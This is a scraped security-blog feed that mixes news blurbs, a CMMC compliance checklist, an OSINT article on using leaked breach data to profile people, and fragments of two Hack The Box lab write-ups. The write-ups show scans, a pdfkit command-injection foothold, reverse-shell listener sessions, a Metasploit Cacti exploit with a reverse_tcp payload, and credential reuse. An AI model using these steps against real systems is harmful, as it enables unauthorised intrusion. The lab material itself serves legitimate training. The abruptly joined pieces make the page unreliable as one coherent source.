The U.K. is seeking collaboration for a new AI security research lab that’s designed to counter Russia and other hostile states in what it dubs the “new AI arms race.” While the U.K. government has launched numerous funding initiatives in the past to support cybersecurity projects, the rise of AI-fueled nation-state attacks, specifically, is the […]
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png2024-11-25 13:07:392024-11-25 13:07:39UK seeks collaboration for security research lab to counter Russia and ‘new AI arms race’
We hear terms like “state-sponsored attacks” and “critical vulnerabilities” all the time, but what’s really going on behind those words? This week’s cybersecurity news isn’t just about hackers and headlines—it’s about how digital risks shape our lives in ways we might not even realize.
For instance, telecom networks being breached isn’t just about stolen data—it’s about power. Hackers are
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png2024-11-25 12:08:052024-11-25 12:08:05THN Recap: Top Cybersecurity Threats, Tools, and Practices (Nov 18 – Nov 24)
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png2024-11-25 11:07:222024-11-25 11:07:22Microlise Confirms Data Breach as Ransomware Group Steps Forward
Cybersecurity researchers have uncovered a new malicious campaign that leverages a technique called Bring Your Own Vulnerable Driver (BYOVD) to disarm security protections and ultimately gain access to the infected system.
“This malware takes a more sinister route: it drops a legitimate Avast Anti-Rootkit driver (aswArPot.sys) and manipulates it to carry out its destructive agenda,” Trellix
Russian cyberspy group APT28 conducted a Nearest Neighbor Attack, where it hacked into the building across the street from the victim for a Wi-Fi attack.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png2024-11-25 10:10:072024-11-25 10:10:07Russian Cyberspies Hacked Building Across Street From Target for Wi-Fi Attack
As stressed in the previous CMMC Countdown post, the five points are make or break to get a conditional CMMC certification. We will continue briefly reviewing how to address the remaining five pointers.
CMMC Action Plan, continued
AC.L2-3.1.18
Control connection of mobile devices. Determine if: [a] mobile devices that process, store, or transmit CUI are identified; [b] mobile device connections are authorized; and [c] mobile device connections are monitored and logged.
Consider showing that all mobile devices are managed using mobile device management (MDM) software the provides built-in authorization, monitoring and logging.
You could simplify your compliance posture by preventing mobile device access.
AT.L2-3.2.1
Ensure that managers, systems administrators, and users of organizational systems are made aware of the security risks associated with their activities and of the applicable policies, standards, and procedures related to the security of those systems. Determine if: [a] security risks associated with organizational activities involving CUI are identified; [b] policies, standards, and procedures related to the security of the system are identified; [c] managers, systems administrators, and users of the system are made aware of the security risks associated with their activities; and [d] managers, systems administrators, and users of the system are made aware of the applicable policies, standards, and procedures related to the security of the system.
Consider showing a security awareness and training plan document that identifies your organization’s cybersecurity and CUI risks and the training courses that will educate employees on those risks. Consider using the SANS Security Awareness Planning Toolkit.
AT.L2-3.2.2
Ensure that personnel are trained to carry out their assigned information security-related duties and responsibilities. Determine if: [a] information security-related duties, roles, and responsibilities are defined; [b] information security-related duties, roles, and responsibilities are assigned to designated personnel; and [c] personnel are adequately trained to carry out their assigned information securityrelated duties, roles, and responsibilities.
Consider showing the training assigned to the information technology and cybersecurity team members. Also, the training should be focused on the specific IT and cybersecurity systems used at your organization. Consider identifying these training assignments in your security awareness and training plan.
AU.L2-3.3.1
Create and retain system audit logs and records to the extent needed to enable the monitoring, analysis, investigation, and reporting of unlawful or unauthorized system activity. Determine if: [a] audit logs needed (i.e., event types to be logged) to enable the monitoring, analysis, investigation, and reporting of unlawful or unauthorized system activity are specified; [b] the content of audit records needed to support monitoring, analysis, investigation, and reporting of unlawful or unauthorized system activity is defined; [c] audit records are created (generated); [d] audit records, once created, contain the defined content; [e] retention requirements for audit records are defined; and [f] audit records are retained as defined.
Consider reviewing which logs your systems are already capturing and how long they are being retained. Document those existing logs and the retention period. Review them and see whether they can help identify unlawful or unauthorized activity. Your security information and event manager (SIEM) might be able to create reports that identify unauthorized logins and anomalous behavior. Document this internal review as additional evidence. Make adjustments to the logs and retention periods as needed.
CM.L2-3.4.1
Establish and maintain baseline configurations and inventories of organizational systems (including hardware, software, firmware, and documentation) throughout the respective system development life cycles. Determine if: [a] a baseline configuration is established; [b] the baseline configuration includes hardware, software, firmware, and documentation; [c] the baseline configuration is maintained (reviewed and updated) throughout the system development life cycle; [d] a system inventory is established; [e] the system inventory includes hardware, software, firmware, and documentation; and [f] the inventory is maintained (reviewed and updated) throughout the system development life cycle.
Consider creating a document that captures the hardware, software, and firmware when setting up new workstations, laptops, and servers. Revise this document at least annually. Create a document or use an inventory tracking system that identifies all the devices and their hardware, software, and firmware. Review the document at least annually, but ideally, as changes occur if you track it manually.
CM.L2-3.4.2
Establish and enforce security configuration settings for information technology products employed in organizational systems. Determine if: [a] security configuration settings for information technology products employed in the system are established and included in the baseline configuration; and [b] security configuration settings for information technology products employed in the system are enforced.
Consider showing how you harden each new machine and maintain its hardening. Show the scripts, Windows group policy objects, and security profiles (in MDM and security management tools). Collect any reports that show how these security configurations are applied and maintained.
IA.L2-3.5.1
Identify system users, processes acting on behalf of users, and devices. Determine if: [a] system users are identified; [b] processes acting on behalf of users are identified; and [c] devices accessing the system are identified.
Consider leveraging the implementation and evidence used for AC.L2-3.1.1. Furthermore, consider defining how each user’s unique identifier (e.g., username) and device’s unique identifiers (e.g., hostname) are assigned.
IA.L2-3.5.2
Authenticate (or verify) the identities of users, processes, or devices, as a prerequisite to allowing access to organizational systems. Determine if: [a] the identity of each user is authenticated or verified as a prerequisite to system access; [b] the identity of each process acting on behalf of a user is authenticated or verified as a prerequisite to system access; and [c] the identity of each device accessing or connecting to the system is authenticated or verified as a prerequisite to system access.
Consider showing that all systems require a unique username and password to authenticate. Remove default usernames if possible, or change their default passwords. Avoid shared usernames if possible,e or use a password manager that logs who is accessing the shared username. For service accounts, consider creating a naming convention that identifies its purpose.
IR.L2-3.6.1
Establish an operational incident-handling capability for organizational systems that includes preparation, detection, analysis, containment, recovery, and user response activities. Determine if: [a] an operational incident-handling capability is established; [b] the operational incident-handling capability includes preparation; [c] the operational incident-handling capability includes detection; [d] the operational incident-handling capability includes analysis; [e] the operational incident-handling capability includes containment; [f] the operational incident-handling capability includes recovery; and [g] the operational incident-handling capability includes user response activities.
Track, document, and report incidents to designated officials and/or authorities both internal and external to the organization. Determine if: [a] incidents are tracked; [b] incidents are documented; [c] authorities to whom incidents are to be reported are identified; [d] organizational officials to whom incidents are to be reported are identified; [e] identified authorities are notified of incidents; and [f] identified organizational officials are notified of incidents.
Create a form, set up an internal database, or use your security tools to document and track incidents. Update your IRP to include the contact information of internal (e.g., executives, directors) and external authorities (e.g., DIBNet, CISA, FBI) to contact during an incident and when to contact them. An incident affecting CUI must be reported using the DIBNet portal, which requires an ECA certificate.
MA.L2-3.7.2
Provide controls on the tools, techniques, mechanisms, and personnel used to conduct system maintenance. Determine if: [a] tools used to conduct system maintenance are controlled; [b] techniques used to conduct system maintenance are controlled; [c] mechanisms used to conduct system maintenance are controlled; and [d] personnel used to conduct system maintenance are controlled.
Consider documenting:
The ticketing system that tracks maintenance activities.
The antivirus software keeps the system free of malware prior to, during, and after the maintenance activities.
The local and remote maintenance software used during activities.
The list of personnel authorized to perform maintenance activities.
MP.L2-3.8.3
Sanitize or destroy system media containing CUI before disposal or release for reuse. Determine if: [a] system media containing CUI is sanitized or destroyed before disposal; and [b] system media containing CUI is sanitized before it is released for reuse.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 14:57 EST
Nmap scan report for 10.10.11.189
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.24 seconds
Of course, the only access point is the HTTP on port 80; insert the precious.htb domain in the /etc/hosts file and proceed.
The portal seems to be a straightforward converter of Web pages to PDF. In addition to having a single access point, the feature leaves no doubt about the attack to be carried out, you just need to identify the exact tool used for the conversion and understand what kind of vulnerability it suffers from. By being able to enter a URL in the only available text field, the vulnerability could be hidden in the URL itself or in the page to be converted (the payload). We, therefore, verify that the BOX reaches us and that we can pass a personal payload; we start a native php server and insert our address in the form field.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.189 - Precious (lin)/attack]
└─$ php -S 10.10.14.79:5000
[Sun Dec 11 15:07:49 2022] PHP 8.1.12 Development Server (http://10.10.14.79:5000) started
[Sun Dec 11 15:08:11 2022] 10.10.11.189:45994 Accepted
[Sun Dec 11 15:08:11 2022] 10.10.11.189:45994 [404]: GET / - No such file or directory
[Sun Dec 11 15:08:11 2022] 10.10.11.189:45994 Closing
The 404 error code, however, does not start the conversion, so I prepared an empty html page, downloaded the output of the operation, and looked inside, looking for information concerning the tool used for the conversion.
I was a bit confused. Inside the file there seem to be indications about two different conversion tools: wkhtmltopdf and pdfkit. They’re both conversion tools, but I didn’t understand why they’re both being repurposed. However, the exiftool seems to identify the pdfkit in the metadata.
┌──(in7rud3r㉿kali-muletto)-[~/Downloads]
└─$ exiftool 9y7vtnuzxwr6isk3hdttvuy8fng2kxrx.pdf
ExifTool Version Number : 12.51
File Name : 9y7vtnuzxwr6isk3hdttvuy8fng2kxrx.pdf
Directory : .
File Size : 4.6 kB
File Modification Date/Time : 2022:12:11 15:37:29-05:00
File Access Date/Time : 2022:12:11 15:38:06-05:00
File Inode Change Date/Time : 2022:12:11 15:37:29-05:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
In order not to leave anything to chance, however, let’s also take a look at the first one. Looking for exploits for the first tool, something comes up, but it doesn’t seem to work despite multiple attempts.
And that looked really interesting. I immediately tried with the verification payload shown in the example, which gave me good results. Sleep seems to have been performed before the conversion process and the pdf is returned to me after the 15 seconds indicated, increasing the time of the command also increases the interval before the download starts.
We should have identified the vulnerability. Now, let’s see how to use it. The second example payload also provides useful information, and the commands interpreted by the converter are reported as processed data in the URL addressed to my php server.
[Mon Dec 12 15:42:45 2022] 10.10.11.189:53504 Accepted
[Mon Dec 12 15:42:45 2022] 10.10.11.189:53504 [200]: GET /file.html?pwd=/var/www/pdfapp&user=ruby
[Mon Dec 12 15:42:45 2022] 10.10.11.189:53504 Closing
All we have to do is insist on this path, and try to recover as much information as possible and perhaps take advantage of the execution of commands via injection of the payload into the URLs. Despite my attempts, I still couldn’t recover the data in the most common files, so I decided to look for a more specific payload for this attack that allowed me to exploit an RCE, and I found it easily.
Perfect, despite having obtained a reverse shell on the machine, it seems that my user does not own the user flag, let alone have permission to read it.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.189] 46478
whoami
ruby
pwd
/var/www/pdfapp
ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby 59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby 99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby 478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Dec 12 16:34 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ls -la /home/
total 16
drwxr-xr-x 4 root root 4096 Oct 26 08:28 .
drwxr-xr-x 18 root root 4096 Nov 21 15:11 ..
drwxr-xr-x 3 henry henry 4096 Dec 12 13:29 henry
drwxr-xr-x 4 ruby ruby 4096 Dec 12 13:15 ruby
ls -la /home/ruby/
total 28
drwxr-xr-x 4 ruby ruby 4096 Dec 12 13:15 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 4 ruby ruby 4096 Dec 12 15:33 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ls -la /home/henry/
total 32
drwxr-xr-x 3 henry henry 4096 Dec 12 13:29 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
-rw-r--r-- 1 henry henry 617 Dec 12 13:29 dependencies.yml
drwxr-xr-x 3 henry henry 4096 Dec 12 13:21 .local
-rw-r--r-- 1 henry henry 807 Sep 26 04:40 .profile
-rw-r----- 1 root henry 33 Dec 12 13:14 user.txt
cat /home/henry/user.txt
cat: /home/henry/user.txt: Permission denied
I’m not there to rehash it. I tried to start a session of linpeas.
Apparently, there’s a lot of stuff to check, but once you start getting familiar with HTB machines, you also start to understand that, in most cases, the CVEs suggested by the tool aren’t the solution. Leaving those aside and taking a quick look at the other clues, I’m immediately attracted to the .bundle folder (and the configuration file it contains), which is located in the home of the user I’m connected to.
I told you it would be a simple BOX. Inside the file, I found credentials that seem to belong to the user who owns the flag. Fooled by the fact that the BOX is starting to look a little too simple, I try to identify the password encryption algorithm with the hashcat… but that doesn’t bring up anything. Almost disappointed and incredulous of what is going through my head, I tried to connect in ssh using the password as if it were unencrypted.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.189 - Precious (lin)/attack/hc]
└─$ ssh henry@10.10.11.189
The authenticity of host '10.10.11.189 (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.189' (ED25519) to the list of known hosts.
henry@10.10.11.189's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Dec 12 13:42:09 2022 from 10.10.14.53
-bash-5.1$ cat user.txt
c******************************a
I admit I don’t know what that .bundle folder is, but after what I’ve seen, I don’t even want to investigate that much.
Ready to proceed in the most difficult roads towards the root flag. I checked what I can launch as root without password. I’m sure I won’t be able to execute…
-bash-5.1$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
…OK, forget it.
-bash-5.1$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
It appears to be a Ruby script that verifies the versions of the packages listed in a yaml file against the versions available from the official repositories. The yaml file is really very simple.
The first approach, looking for file replacements and user path overrides to trick the script, leads me to no particular idea. However, the yaml is a structure that can also contain information related to the execution of code or command, references to files, and so on. I tried to take advantage of the Load command of the YAML package used in the script. Searching on the Internet, I found something interesting.
Data breaches are an unfortunate reality for many websites, leading to leaked information often posted on dark web forums or discovered by security researchers. Before this data disappears or is removed, Data Breach Search Engines (DBSEs) gather, verify, and categorize it, making it accessible to people seeking to understand what information may have been compromised. DBSEs like Have I Been Pwned allow OSINT (open-source intelligence) investigators to enter an email address and see if it was used on a breached site, often revealing critical information about the target’s online footprint. These DBSEs serve as an important privacy service, allowing users to know if their information has been exposed and, in some cases, request its removal from these databases.
What are Data Breach Search Engines?
DBSEs provide a way to find out where an email address, phone number, username, or other identifier has been used, giving researchers a clearer sense of a person’s digital presence. If a DBSE search shows that an email was compromised in a LinkedIn breach, for example, an investigator knows the person likely had a LinkedIn account. This information is invaluable for OSINT researchers, as it offers hints about a target’s professional network, social media presence, and even connections to colleagues or alternate emails. Some of the most popular DBSEs include Have I Been Pwned (searchable by email or phone), IntelX.io (email), and dehashed.com (email, username, domain, password, IP). There are also more specific breach-focused tools, such as haveibeenzucked.com for Facebook data and checkashleymadison.com for the Ashley Madison breach. These tools maintain deep web databases, and the information within them can often be accessed only through the website itself. For OSINT investigators, understanding DBSE resources is critical, as each can reveal unique details about where an email address, phone number, or other identifier was registered and whether it has been compromised.
Data Breaches Now Available on Data Breach Information Sites
This month, four major data breaches have appeared on platforms like Have I Been Pwned, each offering unique insights into different user communities. Although some breaches occurred years ago, the data is newly available on DBSEs, presenting OSINT researchers with new avenues to explore.
1. Internet Archive (October 2024)
In October 2024, the Internet Archive, famous for its digital preservation efforts and the Wayback Machine, experienced a breach affecting 31 million user accounts. Data exposed includes email addresses, screen names, and bcrypt-hashed passwords. The Internet Archive responded to the breach quickly and transparently, immediately implementing security measures, disabling compromised libraries, and restoring service in read-only mode while the organization strengthened its defenses. This breach is notable for OSINT researchers interested in online archives and historical data access, as it suggests users engaged in digital research or preservation activities.
2. VimeWorld (October 2018)
VimeWorld, a Russian Minecraft service, experienced a data breach in 2018 that exposed data on 3.1 million users. The compromised information includes usernames, email addresses, IP addresses, and hashed passwords (MD5 or bcrypt). This breach’s recent availability in DBSEs presents new opportunities for researchers interested in gaming communities, particularly among Russian-speaking audiences.
3. StreamCraft (July 2020)
The StreamCraft breach in July 2020 affected 1.8 million records, exposing usernames, email addresses, IP addresses, and hashed passwords (MD5 or bcrypt). StreamCraft data, newly accessible for OSINT purposes, provides a look into the online behavior of gaming communities, especially among users who favor multiplayer gaming.
4. AlpineReplay (2019)
The 2019 breach of AlpineReplay, a fitness-tracking app later integrated into Trace, exposed 900,000 records, including email addresses, usernames, dates of birth, gender, weight, and passwords hashed with MD5 or bcrypt. Recently appearing in DBSEs, this data gives insights into the interests of fitness enthusiasts, particularly those who use digital tools to track performance in sports like skiing and snowboarding.
Why These Data Breaches Matter to Researchers
When an OSINT researcher finds an email address in one of these breaches, it can reveal valuable information about the target’s digital activities. Each platform represents a specific online community or interest, giving clues about an individual’s preferences, affiliations, or lifestyle.
• Internet Archive: If someone’s data is in the Internet Archive breach, it might indicate an interest in digital preservation, academic research, or access to open-source content. This can suggest a background in academia or a strong interest in historical records.
• VimeWorld and StreamCraft: The presence of someone’s account in these gaming-related breaches points to involvement in online gaming, possibly within Russian-speaking or international communities. This can help an investigator understand the target’s recreational interests and engagement in gaming culture.
• AlpineReplay: An account in the AlpineReplay breach implies an interest in fitness, specifically in winter sports like skiing and snowboarding. The individual is likely health-conscious and inclined toward tracking their performance, providing insights into their lifestyle and personal values.
Simply knowing that a target’s email address is associated with one of these platforms can reveal a lot about them. However, OSINT researchers should approach this data cautiously. While these accounts provide contextual information, they don’t give a complete picture of a person’s behavior or habits, so researchers should use this information as a starting point rather than a conclusive profile.
Detailed Look at the Internet Archive Data Breach
The October 2024 Internet Archive breach involved the exposure of data from around 31 million user accounts. This breach, linked to a compromised GitLab token, allowed attackers to access development servers, revealing email addresses, screen names, and bcrypt-hashed passwords. The first breach occurred on October 9, with attackers exploiting a GitLab configuration file on the Internet Archive’s servers that contained an exposed authentication token. This gave them access to the source code, credentials, and, ultimately, the database management system, where they downloaded user data and modified site elements. Reports suggest this token had been accessible since December 2022, giving attackers a prolonged opportunity to exploit it. On October 20, a second breach occurred, this time exploiting unrotated Zendesk API tokens to access user support tickets. During this period, hackers defaced the Internet Archive’s website using JavaScript alerts and launched DDoS attacks attributed to the hacker group SN_BlackMeta. In response, the Internet Archive implemented security measures, scrubbed compromised systems, and temporarily operated in a read-only mode before restoring full access. This quick and transparent response from the Internet Archive emphasized the organization’s commitment to user security.
An additional OSINT trick is available for researchers using the Internet Archive. By using the search function on the top right corner of the Internet Archive’s website, investigators can enter an email address associated with a target’s account to see if an account exists. Although the email address itself isn’t publicly identified in the profile, the search function will still locate the account, providing access to profile information and showing data and websites archived by the user. This technique can be particularly useful for tracing interests, historical engagements, and online behavior through the Internet Archive.
Founder Brewster Kahle reported that the organization is reinforcing its defenses and emphasized the Internet Archive’s commitment to secure its platform. For OSINT researchers, this breach provides a unique opportunity to explore user demographics and interests in digital archives, though it demands careful handling to avoid further privacy violations.
Citations
1. Internet Archive (Archive.org) Hacked for Second Time in a Month
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png2024-11-25 03:06:462024-11-25 03:06:46Using Newly Surfaced Data Breaches for OSINT Research
Not a bad BOX, the foothold towards the user flag is interesting, but privileges escalation to root is a little less convincing. Let’s begin.
The nmap scan.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 15:26 EDT
Nmap scan report for 10.10.11.211
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.82 seconds
As usual, we start from a portal; I don’t see any indications of particular domain names, so we proceed in the more traditional way, browsing the portal by IP address.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ wget https://www.exploit-db.com/download/51166
--2023-05-14 15:52:02-- https://www.exploit-db.com/download/51166
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2864 (2.8K) [application/txt]
Saving to: ‘51166’
51166 100%[=============================================================================================================>] 2.80K --.-KB/s in 0s
2023-05-14 15:52:03 (32.5 MB/s) - ‘51166’ saved [2864/2864]
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ mv 51166 51166.py
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ ls -la
total 12
drwxr-xr-x 2 in7rud3r in7rud3r 4096 May 14 15:52 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 May 14 15:51 ..
-rw-r--r-- 1 in7rud3r in7rud3r 2864 May 14 15:52 51166.py
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ python3 51166.py
usage: 51166.py [-h] [-u URL] -p REMOTE_PORT -i REMOTE_IP
51166.py: error: the following arguments are required: -p/--remote_port, -i/--remote_ip
The script doesn’t seem to work, failing. I tried to reproduce the injection manually, but I get an “unauthorized” message, even though the returned http code is 200. Let’s go ahead. Another link seems to suggest that there is a module on the metasploit framework.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ msfconsole
, ,
/
((__---,,,---__))
(_) O O (_)_________
_ / |
o_o M S F |
_____ | *
||| WW|||
||| |||
=[ metasploit v6.3.14-dev ]
+ -- --=[ 2311 exploits - 1206 auxiliary - 412 post ]
+ -- --=[ 975 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can upgrade a shell to a Meterpreter
session on many platforms using sessions -u
<session_id>
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/linux/http/cacti_unauthenticated_cmd_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options
Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
HOST_ID no The host_id value to use. By default, the module will try to bruteforce this.
LOCAL_DATA_ID no The local_data_id value to use. By default, the module will try to bruteforce this.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to Cacti
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
X_FORWARDED_FOR_IP 127.0.0.1 yes The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Automatic (Linux Dropper)
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set rhosts http://10.10.11.211/
rhosts => http://10.10.11.211/
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set rport 80
rport => 80
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set lhost 10.10.14.84
lhost => 10.10.14.84
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > exploit
[*] Started reverse TCP handler on 10.10.14.84:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[+] Found exploitable local_data_id 6 for host_id 1
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
[*] Exploit completed, but no session was created.
Nothing, but we have a lot of exploits to try. Next one!
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ php -S 10.10.14.84:80
[Sun May 14 16:26:09 2023] PHP 8.2.4 Development Server (http://10.10.14.84:80) started
[Sun May 14 16:29:02 2023] 10.10.11.211:52720 Accepted
[Sun May 14 16:29:02 2023] 10.10.11.211:52720 [404]: GET / - No such file or directory
[Sun May 14 16:29:02 2023] 10.10.11.211:52720 Closing
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ php -S 10.10.14.84:80
[Sun May 14 16:39:09 2023] PHP 8.2.4 Development Server (http://10.10.14.84:80) started
[Sun May 14 16:40:28 2023] 10.10.11.211:56602 Accepted
[Sun May 14 16:40:28 2023] 10.10.11.211:56602 [404]: GET /www-data - No such file or directory
[Sun May 14 16:40:28 2023] 10.10.11.211:56602 Closing
We can then to the reverse shell… listener listening (that’s horrible)…
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
…and attack! After a lot of reverse shells, I found the right one:
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
10.10.11.211: inverse host lookup failed: Unknown host
connect to [10.10.14.84] from (UNKNOWN) [10.10.11.211] 44074
whoami
www-data
It seems I don’t have permission to read the /home folder; let’s look for any clues left in the surroundings before running a session with linpeas. Let’s check the list of the users in the meantime.
What? There doesn’t seem to be any user who can log in! there is something strange about this BOX!
I found a SQL script that creates the database for the portal and looking inside…
[...]
CREATE TABLE user_auth (
`id` mediumint(8) unsigned NOT NULL auto_increment,
`username` varchar(50) NOT NULL default '0',
`password` varchar(256) NOT NULL default '',
`realm` mediumint(8) NOT NULL default '0',
`full_name` varchar(100) default '0',
`email_address` varchar(128) NULL,
[...]
INSERT INTO user_auth VALUES (1,'admin','21232f297a57a5a743894a0e4a801fc3',0,'Administrator','','on','on','on','on','on','on',2,1,1,1,1,'on',-1,-1,'-1','',0,0,0);
